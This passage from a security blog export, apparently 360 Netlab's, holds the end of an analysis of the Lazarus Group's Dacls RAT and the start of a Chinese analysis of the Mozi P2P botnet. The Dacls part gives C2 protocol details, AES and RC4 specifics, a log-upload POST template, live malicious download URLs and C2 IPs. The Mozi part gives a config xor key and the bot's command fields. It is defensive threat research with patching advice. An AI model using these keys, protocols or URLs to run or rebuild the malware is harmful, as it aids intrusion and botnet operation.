version of the plug-in is compiled directly in the Bot program. \n\n### Downloader server\nWe found a series of samples on a suspected download server ```http://www.areac-agr.com/cms/wp-content/uploads/2015/12/```, including Win32.Dacls, Linux.Dacls, the open source program Socat, and working payload for Confluence CVE-2019-3396. We speculated that the Lazarus Group used the CVE-2019-3396 N-day vulnerability to spread the Dacls Bot program.\n\n```c\nMD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload\nMD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector\nMD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot\nMD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot\nMD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload\nMD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot\nMD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat\n```\n\n## Reverse analysis\n### Log Collector sample\n- MD5: 982bf527b9fe16205fea606d1beed7fa\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header\n\nThe function of this sample is simple. It collects the target host information by specifying the parameters of the log collecting process. It avoids scanning some specified root and secondary directories, and write the retrieved file path to ```/tmp/hdv.log```.\n```c\nAvoid Scanning Root Directory\n/bin\n/boot\n/dev\n/etc\n/lib\n/lib32\n/lib64\n/lost+found\n/sbin\n/sys\n/tmp\n/proc\n/run\n\nAvoid Scanning Secondary Directory\n/usr/bin\n/usr/etc\n/usr/games\n/usr/include\n/usr/lib\n/usr/lib32\n/usr/lib64\n/usr/libexec\n/usr/sbin\n/usr/share\n/usr/src\n/usr/tmp\n/var/adm\n/var/cache\n/var/crash\n/var/db\n/var/empty\n/var/games\n/var/gopher\n/var/kerberos\n/var/lock\n/var/nis\n/var/preserve\n/var/run\n/var/yp\n```\n\nSample logging format\n```c\ndeep name type size last date\n0 / D 0 000000000000\n1 bin D 0 201911290628\n2 bash F 1037528 201907121226\n2 bunzip2 F 31352 201907040536\n2 busybox F 1984584 201903070712\n2 bzcat F 31352 201907040536\n2 bzcmp F 2140 201907040536\n....\n```\n\nWhen all the work is done, it executes the system tar command to compress the log file ```tar -cvzf /tmp/hdv.rm /tmp/hdv.log``` and upload it to the specified log collecting interface.\n\n### Linux.Dacls sample\n- MD5: 80c0efb9e129f7f9b05a783df6959812\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped\n\nThe main functions of Linux.Dacls Bot include: command execution, file management, process management, test network access, C2 connection agent, network scanning module.\n\n#### Initialization\nAfter Linux.Dacls Bot is started, it runs in the daemon mode in the background, and uses the startup parameters ```/pro```, the Bot PID file, ```/var/run/init.pid``` and the Bot process name ```/proc/<pid>/cmdline```to distinguish different operating environments. We suspect that it may be used for Bot program upgrades.\n<a href=\"__GHOST_URL__/content/images/2019/12/init_stage.png\"><img src=\"__GHOST_URL__/content/images/2019/12/init_stage.png\" class=\"kg-image\"/></a>\n\n\n#### Configuration file .memcahce\nThe Linux.Dacls Bot configuration file is stored at ```$HOME/.memcache```, and the file content is 0x8E20 + 4 bytes. If Bot cannot find the configuration file after startup, it will use AES encryption to generate the default configuration file based on the hard-coded information in the sample. After successful Bot communicates with C2, the configuration file will get updated. \n\n###### Data structure\nWe define the data structure information of the configuration file as struct_global_cfg, which stores the Bot operating parameters, C2 information, and plug-in information.\n```c\nstruct struct_plugin_cfg_data\n{\n int plugin_id;\n int plugin_type;\n int unk3;\n char name[1040];\n};\n\nstruct struct_c2_content\n{\n char content[2048];\n};\n\nstruct struct_global_cfg\n{\n int session_id;\n int unk_const1;\n int sus_version_20190417;\n int connect_retry_sleep_time;\n char unk_array1[88];\n int c2_num;\n struct_c2_content c2_list[3];\n char unknown_filed_186C[14340];\n struct_plugin_cfg_data plug_cfg_data_list[15];\n};\n\n```\n###### AES encryption algorithm\n- AES，CBC Mode\n- Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED\n- IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92\n\n###### Decrypting the configuration file \nAfter decrypting the configuration file, we can see some plain text information in it, for example: session ID, version information, reconnection time for C2, C2 information, etc. After successfully connecting to C2, the configuration file will be updated according to received C2 instructions, such as adding new plugin information supported by the Bot, updated C2 information, etc.\n<a href=\"__GHOST_URL__/content/images/2019/12/memcache_decrypt.png\"><img src=\"__GHOST_URL__/content/images/2019/12/memcache_decrypt.png\" class=\"kg-image\"/></a>\n\n\n\n#### C2 protocol\nLinux.Dacls Bot and C2 communication is mainly divided into three stages, and uses TLS and RC4 double-layer encryption algorithms to ensure data communication security. The first phase is to establish a TLS connection, the second phase is to establish agreement for authentication process (Malware Beaconing), and the third phase is to send RC4 encrypted data by Bot.\n\n###### SSL connection\n<a href=\"__GHOST_URL__/content/images/2019/12/tls_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/tls_connection.png\" class=\"kg-image\"/></a>\n\n###### Phase 2\nSeveral Beacon messages and C2 confirm each other's identity are exchanged here.\n| Cmd | Direction | Encrypted | Description|\n| ----- | ------------------ | ------------ |:----------: |\n|0x20000 | send | no | Beacon|\n|0x20100 | recv | no |Beacon|\n|0x20200 | send | no | Beacon|\n\n###### RC4 encryption and decryption process\n- RC4 Key generation algorithm, generated by random function, Key length range: greater than 0 and less than 50\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_key.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_key.png\" class=\"kg-image\"/></a>\n\n\n- Replacement table generation algorithm, generate replacement table for RC4 encryption based on RC4 Key\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_swap.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_swap.png\" class=\"kg-image\"/></a>\n\n\n- Encryption / decryption algorithm, complete encryption / decryption according to the replacement table generation algorithm. Because RC4 is a symmetric encryption algorithm, the encryption / decryption algorithm is consistent\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_decrypt.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_decrypt.png\" class=\"kg-image\"/></a>\n\n\n- RC4 decryption example\nAfter completing the protocol authentication, Bot sends the RC4 Key length (the first 4 bytes) and RC4 Key data to C2.\n <a href=\"__GHOST_URL__/content/images/2019/12/rc4_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_connection.png\" class=\"kg-image\"/></a>\n\n\nC2 receives the encryption key and sends the ciphertext to Bot. After decryption, the command is 0x00000700. After that, Bot will upload the hostname-related information to C2.\n```c\nKey:\na3 2f c2 10 f3 92 79 c3 0e f6 e4 e5 2e 69 29 86\n0d 3a 92 f5 b7 23 fc 91 d9 46 91 55 a3 86 5a 47\n36 1d 58 2a af d1 6d 3d 49 52 23 77 bc 4d fd 49\n87 \n\nCiphertext:\nfe 3c 2c d7 bf 08 e3 91 d7 00 1f d0\n\nPlaintext:\n00 07 00 00 00 00 00 00 00 00 00 00 \n```\n###### C2 instruction code table\nThe instructions accepted by Linux.Dacls Bot are a total of 12 bytes, but the actual effective size is 4 bytes, and it is divided into two control modes.\n\nThe first mode: when the third byte is 0, this is to control the Bot main logic.\n\nThe following is an example of the network sequence data packet corresponding to the 0x00000700 instruction: the mode is 0x00, and the instruction 2 is 0x07 to control Bot to upload host name information\n| INSTRUCTION 1 | INSTRUCTION 2 | MODE | UNKNOWN |\n|------ | ------ | ------ | ------|\n| 00 | 07 |00 |00 |\n\nThe second mode: when the third byte is 1, the plug-in logic is called.\n\nThe following is an example of the network sequence data packet corresponding to the 0x00010101 instruction: the mode is 0x01, and the instruction 1 is 0x01.\n| INSTRUCTION 1 | INSTRUCTION 2 | MODE | UNKNOWN |\n|------ | ------ | ------ | ------|\n| 01 | 01 |01 |00 |\n\nAfter receiving the instruction, Bot returns 0x20500 on successful execution and 0x20600 on failure.\n\n- C2 instruction list for the Bot main logic part\n\n| MODULE | CMD | ENCRYPT | Description |\n| ------ | ---------- | ------- | ---------------------------------------- |\n| Core | 0x00000601 | Yes | Upload C2 configuration information |\n| Core | 0x00000602 | Yes | Download configuration information to ```$HOME/.memcache``` |\n| Core | 0x00000700 | Yes | Ask Bot to upload host information |\n| Core | 0x00000900 | Yes | Ask Bot to send heartbeat information |\n\n- C2 instruction list for the Bot plugin logic\n\n| MODULE | CMD | ENCRYPT | Description |\n| :----------------: | ---------- | ------- | ---------------------------------- |\n| /bin/bash | 0x00010000 | Yes | Execute the bash command issued by C2 |\n| /bin/bash | 0x00010002 | Yes | Connect to the specified C2 and execute the issued system command |\n| plugin_file | 0x00010100 | Yes | Write file |\n| plugin_file | 0x00010101 | Yes | Read file |\n| plugin_file | 0x00010103 | Yes | Delete Files |\n| plugin_file | 0x00010104 | Yes | Scanning the directory structure |\n| plugin_file | 0x00010110 | Yes | Download file from specified url |\n| plugin_process | 0x00010200 | Yes | Scan and upload information about the host process |\n| plugin_process | 0x00010201 | Yes | Kill specified process |\n| plugin_process | 0x00010202 | Yes | Create a daemon process |\n| plugin_process | 0x00010204 | Yes | Obtain and report process PID and PPID |\n| plugin_test | 0x00010300 | Yes | Test whether the specified IP can be reached |\n| plugin_reverse_p2p | 0x00010400 | Yes | C2 Connection proxy |\n| logsend | 0x00011100 | Yes | Test if the Log server can be accessed |\n| logsend | 0x00011101 | Yes | Upload public network port scan results and command execution output |\n| logsend | 0x00011102 | Yes | No operation |\n\n- C2 communication flowchart\n <a href=\"__GHOST_URL__/content/images/2019/12/c2_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/c2_connection.png\" class=\"kg-image\"/></a>\n\n\n\n#### Plug-in module\nLinux.Dacls Bot uses static compilation to compile the plug-in and Bot code together. By sending different instructions to call different plug-ins, various tasks can be completed. The sample we analyzed contains a total of 6 plugins, because the configuration information of the plugin is a continuous array of structures (0x00 ~ 0x0e). We guess that Bot may have other more plugins.\n<a href=\"__GHOST_URL__/content/images/2019/12/plugin_num.png\"><img src=\"__GHOST_URL__/content/images/2019/12/plugin_num.png\" class=\"kg-image\"/></a>\n\nEach plug-in has its own corresponding configuration, which is saved in the bot’s configuration file ```$HOME/.memcache```. When the plug-in is initialized, the configuration information will be loaded.\n\n###### Bash plugin\nThe Bash plug-in is plug-in number 0, it mainly supports two functions: receiving and executing system commands issued by the C2 server; C2 issues temporary new C2, bot then connects to the temporary C2 and executes system commands issued by the temporary C2.\n<a href=\"__GHOST_URL__/content/images/2019/12/bash.png\"><img src=\"__GHOST_URL__/content/images/2019/12/bash.png\" class=\"kg-image\"/></a>\n\n\n###### File plugin\nThe main function of the File plugin is file management. In addition to supporting read, write, delete, and find operations on files, bot can also download files from a designated download server.\n<a href=\"__GHOST_URL__/content/images/2019/12/file.png\"><img src=\"__GHOST_URL__/content/images/2019/12/file.png\" class=\"kg-image\"/></a>\n\n\n\n###### Process plugin\nThe main function is process management, including: killing a specified process, creating a daemon process, obtaining the PID and PPID of the current process, and obtaining process list information.\n<a href=\"__GHOST_URL__/content/images/2019/12/process.png\"><img src=\"__GHOST_URL__/content/images/2019/12/process.png\" class=\"kg-image\"/></a>\n\nIf the ```/proc/<pid>/task```directory corresponding to the PID in the Linux process exists, the Bot sample will collect the following process information:\n\n- ```/proc/<pid>/cmdline``` Read full name from command line\n- From ```/proc/<pid>/status``` reading:\n```\nName //process name\nUid //user ID\nGid //group ID\nPPid //parent ID\n```\n\n\n###### Test plugin\nThe main function is to test network connectivity by connecting the IP address and port specified by C2.\n<a href=\"__GHOST_URL__/content/images/2019/12/test.png\"><img src=\"__GHOST_URL__/content/images/2019/12/test.png\" class=\"kg-image\"/></a>\n\n\n###### Reverse P2P plugin\nThe Reverse P2P plug-in is actually a C2 Connection Proxy, it\ndirects network traffic between bots and C2 to avoid direct connections to their infrastructure. This is a common used technique by the Lazarus Group. With connection proxy, the number of target host connections can be reduced, and the communication between the target and the real C2 can be hidden. In some cases, an infected intranet host can be used to further penetrates into the isolated network segment.\n\nreverse_p2p plugin initialization\n<a href=\"__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png\" class=\"kg-image\"/></a>\n\nWhen Bot receives a command, it first attempts to connect to the specified C2 port to send a 0x21000. If C2 returns 0x21300, the C2 connection is successful and the Bot will connect to the target IP:port. If it works, it will return 0x21100 to C2, indicating that the forwarding connection has been established and can start forwarding data. Now, Bot can forward the data sent by C2 to the target, and at the same time return the data returned by the target to C2, until either party interrupts the connection.\n\nThe following is the working flowchart of the Reverse P2P plugin:\n<a href=\"__GHOST_URL__/content/images/2019/12/reverse_p2p.png\"><img src=\"__GHOST_URL__/content/images/2019/12/reverse_p2p.png\" class=\"kg-image\"/></a>\n\n\n###### LogSend plugin\nThe LogSend plug-in mainly includes three functions: test the connection to the Log server, randomly scan the entire network's 8291 port and report to the Log server, execute system commands that take a long time and report the console output to the Log server in real time.\n\nLogSend plugin initialization\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_init.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_init.png\" class=\"kg-image\"/></a>\n\n\nLogSend related operation callback function\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend.png\" class=\"kg-image\"/></a>\n\n\nAfter testing the connection to the Log server, the\nBot will send a test request to the Log server. If the Log server returns ```{\"result\":\"ok\"}```, indicating that the test was successful, C2 can issue more LogSend instructions.\n\nSending the POST request using the HTTP interface address specified by C2 and the built-in User-Agent\n```\nPOST /%s HTTP/1.0\nHost: %s\nContent-Length: 9\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nCache-Control: no-cache\nConnection: close\nlog=check\n```\nRandomly scan port 8291 on the entire network and report the result to the Log server.\n\nAfter receiving the instruction, Bot will randomly generate a public IP address according to 3 built-in rules and try to connect to their port 8291. If the connection is successful, the scan result will be returned to the log server.\n\nIP generation rules:\n```\nip = <part1>.<part2>.<part3>.<part4>\n\nrule1: part1 != 127\nrule2: part1 == 172 and (part2 <= 15 or part2 > 31)\nrule3: part1 != 192 and part2 != 168\nrule4: part1 != 10\n```\nThe random IP generation algorithm is as follows\n<a href=\"__GHOST_URL__/content/images/2019/12/random_ip-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/random_ip-1.png\" class=\"kg-image\"/></a>\n\nWe can see that Bot hard-codes the TCP / 8291 port and calls the system connect function to perform port scan. It only checks whether the port is open and does not send payload data. We are not sure why TCP 8291 is targeted, but we know that the Winbox protocol of the MikroTik Router device works on TCP / 8291 port and is exposed on the Internet. Previously we also disclosed 2 articles about the TCP / 8291 port threat incident [\\[1\\]](__GHOST_URL__/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en/)[\\[2\\]](__GHOST_URL__/quick-summary-port-8291-scan-en/).\n<a href=\"__GHOST_URL__/content/images/2019/12/scan_8291.png\"><img src=\"__GHOST_URL__/content/images/2019/12/scan_8291.png\" class=\"kg-image\"/></a>\n\nExecute bash command which takes a long time to finish and report the console output to the Log server in real time.\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_bash.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_bash.png\" class=\"kg-image\"/></a>\n\nExecute the bash command and forward the output to the Log server.\nAll reported Log data is submitted by HTTP POST. The format of the payload section is as follows:\n```log=save&session_id=<session id>&value=<log content>```\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_payload.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_payload.png\" class=\"kg-image\"/></a>\n\n\n### Suggestions\nWe recommend that Confluence users patch their system in a timely manner and check whether they have been infected based on the process name, file name, and TCP network connection used by Dacls RAT.\n\nWe recommend that readers monitor and block Dacls RAT-related IPs, URLs and domain names.\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n\n\n\n#### IoC list\nSample MD5\n```\n6de65fc57a4428ad7e262e980a7f6cc7\n80c0efb9e129f7f9b05a783df6959812\n982bf527b9fe16205fea606d1beed7fa\n8910bdaaa6d3d40e9f60523d3a34f914\na99b7ef095f44cf35453465c64f0c70c\nbea49839390e4f1eb3cb38d0fcaf897e\ncef99063e85af8b065de0ffa9d26cb03\ne883bf5fd22eb6237eb84d80bbcf2ac9\n```\n\nHard-coded C2 IP：\n```\n23.81.246.179 \tUnited States \tASN19148 \tLeaseweb USA, Inc. \n23.254.119.12 \tCanada \tASN55286 \tB2 Net Solutions Inc.\n23.227.196.116 \tUnited States \tASN35017 \tSwiftway Sp. z o.o. \n37.72.175.179 \tUnited States \tASN29802 \tHIVELOCITY, Inc. \n23.227.199.53 \tUnited States \tASN35017 \tSwiftway Sp. z o.o. \n107.172.197.175 \tUnited States \tASN36352 \tColoCrossing \n172.93.201.219 \tUnited States \tASN20278 \tNexeon Technologies, Inc.\n64.188.19.117 \tUnited States \tASN8100 \tQuadraNet Enterprises LLC\n74.121.190.121 \tUnited States \tASN23033 \tWowrack.com \n192.210.213.178 \tUnited States \tASN36352 \tColoCrossing \n209.90.234.34 \tUnited States \tASN23033 \tWowrack.com \n198.180.198.6 \tUnited States \tASN26658 \tHT \n```\n\nURL\n```\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5df75a4c7646030007b25ec9 |
post | null | 2019-12-20T05:16:25.000Z | 63873b9a8b1c1e0007f52f5e | p2p-botnet-mozi | 0 | 2019-12-24T04:48:05.000Z | public | published | null | 2019-12-23T04:10:21.000Z | P2P Botnet： Ｍozi分析报告 | <!--kg-card-begin: markdown--><h2 id="">概览</h2>
<p>2019年09月03日我们捕获到一个可疑的的样本文件，大部分杀毒引擎将其识别为Gafgyt，但该样本和已知Gafgyt相似程度不高，只是复用了部分Gafgyt的代码。经过详细分析，我们确定这是Hajime之后，另一个基于DHT协议实现的P2P Botnet。根据其样本传播样本文件名称为<code>Mozi.m</code>、<code>Mozi.a</code>等特征我们将它命名为<code>Mozi</code> Botnet。</p>
<p>Mozi Botnet依赖DHT协议建立一个P2P网络，通过ECDSA384以及xor算法保证自身组件和P2P网络的完整性和安全性。样本通过Telnet弱口令和一些已知的漏洞利用蠕虫式传播。功能方面，Ｍozi僵尸网络中的各个节点的指令执行由Botnet Master下发的名为Config的Payload驱动，主要指令包括：</p>
<ul>
<li>DDoS攻击</li>
<li>收集Bot信息</li>
<li>执行指定URL的payload</li>
<li>从指定的URL更新样本</li>
<li>执行系统或自定义命令</li>
</ul>
<p>其整体网络结构如下图所示：<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_flow-3.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_flow.m.png" class="kg-image"/></a></p>
<h2 id="">样本传播</h2>
<p>Ｍozi通过telnet弱口令和漏洞利用两种方式感染新设备。感染过程如下：</p>
<ul>
<li>当前Bot节点随机监听本地端口启动http服务提供样本下载或者接收Botnet Master下发的Config文件中的样本下载地址。用于为将来被感染的目标提供样本下载地址。</li>
<li>当前Bot节点利用弱口令登录目标设备，echo方式写入下载器文件并运行，从当前Bot节点提供的样本下载地址下载样本文件。或者通过漏洞利用入侵目标，然后从当前Bot节点提供的样本下载地址取得样本文件。</li>
<li>在被感染目标设备上运行Mozi Bot样本，加入Mozi P2P网络成为新的Mozi Bot节点并继续感染其他新的设备。</li>
</ul>
<p>Mozi Botnet所利用的漏洞如下表所示：</p>
<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Affected Aevice</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.exploit-db.com/exploits/40740">Eir D1000 Wireless Router RCI</a></td>
<td>Eir D1000 Router</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/6864/">Vacron NVR RCE</a></td>
<td>Vacron NVR devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a></td>
<td>Devices using the Realtek SDK</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41598/">Netgear cig-bin Command Injection</a></td>
<td>Netgear R7000 and R6400</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/43055">Netgear setup.cgi unauthenticated RCE</a></td>
<td>DGN1000 Netgear routers</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471/">JAWS Webserver unauthenticated shell command execution</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/43414/">CVE-2017-17215</a></td>
<td>Huawei Router HG532</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37171/">HNAP SoapAction-Header Command Execution</a></td>
<td>D-Link Devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/44576/">CVE-2018-10561, CVE-2018-10562</a></td>
<td>GPON Routers</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/28333/">UPnP SOAP TelnetD Command Execution</a></td>
<td>D-Link Devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/39596/">CCTV/DVR Remote Code Execution</a></td>
<td>CCTV DVR</td>
</tr>
</tbody>
</table>
<p>当前我们暂时还不清楚该Botnet的规模，但从我们已经有的数据看，该Botnet的感染量一直在持续增长。下图为我们蜜罐收集到的Mozi bot感染日志。<br>
<img src="__GHOST_URL__/content/images/2019/12/fssfsadfsdff.png" alt="fssfsadfsdff" loading="lazy"></p>
<h2 id="">样本逆向分析</h2>
<p>目前，Mozi Botnet已有３个版本，在telnet传播方面略有不同，其它方面非常接近，<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_versioin.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_versioin.png" class="kg-image"/></a><br>
下文将以最新版本v2为主，同时也会穿插早期版本(样本md5: <code>849b165f28ae8b1cebe0c7430f44aff3</code>)，从传播方式，Config结构，DHT网络等方面剖析Mozi的技术细节。</p>
<h3 id="">样本信息</h3>
<blockquote>
<p>MD5:eda730498b3d0a97066807a2d98909f3</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Packer: NO</p>
<p>Library:uclibc</p>
<p>Version: v2</p>
</blockquote>
<p>值得一提的是，第一个版本中Mozi 采用了upx加壳。相较与常见的更改upx幻数对抗脱壳，Ｍozi使用了一种新颖的手法，将p_filesize&p_blocksize的值抹成了０。需要对upx源码做相应的patch才能脱壳。</p>
<h3 id="">常见功能</h3>
<p>Ｍozi在主机行为层面并没太多特色，复用了Gafgyt的代码，实现了许多常见功能，如单一实例，修改进程名，网络流量放行。</p>
<ul>
<li>单一实例，通过绑定本地端口实现<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_bind.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_bind.png" class="kg-image"/></a></li>
<li>修改进程名，换成sshd或dropbear以迷惑受害者<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_setname.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_setname.png" class="kg-image"/></a></li>
<li>流量阻断&放行，确保所用到的TCP,UDP端口，流量正常通过；<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_iptables.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_iptables.png" class="kg-image"/></a><br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ssh.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ssh.png" class="kg-image"/></a><br>
阻断SSH，TELNET服务，防止Bot被其他人入侵。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_forb.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_forb.png" class="kg-image"/></a></li>
</ul>
<h3 id="">执行特定任务</h3>
<p>Mozi通过DHT协议建立p2p网络后，同步config文件，根据config文件里的指令，开始相应的任务。在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Mozi节点。为保证Mozi网络的完全可控，不被他人窃取，Mozi需要对每一个同步到的config做签名验签，只有能够通过了签名验签才能被Mozi节点接受，并执行。</p>
<p><a href="__GHOST_URL__/content/images/2019/12/mozi_configproc.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_configproc.png" class="kg-image"/></a></p>
<h4 id="">文件&指令验签</h4>
<p>Ｍozi使用ECDSA384算法验证文件及指令的合法性，每个样本都集成了俩个xor加密的的公钥，分别用于验签加密和解密后的config文件。</p>
<pre><code> xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
</code></pre>
<h4 id="config">Config文件</h4>
<p>每个样本集成了一个xor加密的初始的config文件，长度为528字节,其结构为<strong>data(428 bytes),sign(96 bytes),flag(4 bytes)</strong>，sign字段为数字签名，flag字段控制config文件更新与否。config文件里有许多控制字段，Mozi节点收到config后，解析字段内容，执行相应的子任务。<br>
原始config文件如下<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_enconfig.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_enconfig.png" class="kg-image"/></a><br>
解密过程如下图所示，其中xor key为</p>
<pre><code>4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
</code></pre>
<p><a href="__GHOST_URL__/content/images/2019/12/mozi_xorproc.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_xorproc.png" class="kg-image"/></a><br>
解密后的config如下<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_denconfig.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_denconfig.png" class="kg-image"/></a><br>
支持的关键字如下，可以分成辅助，控制，子任务３大类。</p>
<pre><code>1：辅助字段，用于信息说明
[cpu] cpu arch or os
[cpux] cpu arch or os
[ss] bot role
[ssx] bot role
[nd] new node info which help to join DHT
2:控制字段，用于更新节点的数据
[ver] verify
[sv] update Config
[hp] DHT id prefix
[dip] URL or ip:port list which can get Mozi sample
3:子任务字段，用于开启相应的子任务
[atk] DDOS attack
[ud] update
[dr] exec payload from specific URL
[rn] exec system or customized cmds
[idp] report bot info
</code></pre>
<h4 id="bot">Bot功能</h4>
<ul>
<li>DDOS，<code>[atk]</code>字段触发，复用<strong>Gafgyt</strong>了攻击代码，支持HTTP,TCP,UDP等攻击。<pre><code>Command
-----------------------------------------
S
T
U
KT
HTTP
</code></pre>
<a href="__GHOST_URL__/content/images/2019/12/mozi_atk.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_atk.png" class="kg-image"/></a></li>
<li>上报Bot信息，<code>[idp]</code>字段触发，上报的内容为Bot的ID，IP，PORT，文件名（全路径），网关，cpu架构。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_idp.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_idp.png" class="kg-image"/></a></li>
<li>执行指定URL的payload,<code>[dr]</code>字段触发。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_dr.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_dr.png" class="kg-image"/></a></li>
<li>从指定的URL更新，<code>[ud]</code>字段触发。关闭当前节点的网络连接和相关进程，从指定URL下载新版本，保存DHT节点,ID等数据，将它们做为参数提供给新版体使用。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ud.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ud.png" class="kg-image"/></a></li>
<li>执行系统或Bot自定义命令，<code>[rn]</code>字段触发。
<ul>
<li>系统命令<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_rnsys.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_rnsys.png" class="kg-image"/></a></li>
<li>自定义<strong>GET</strong>命令，将Bot ID发送给对端。<br>
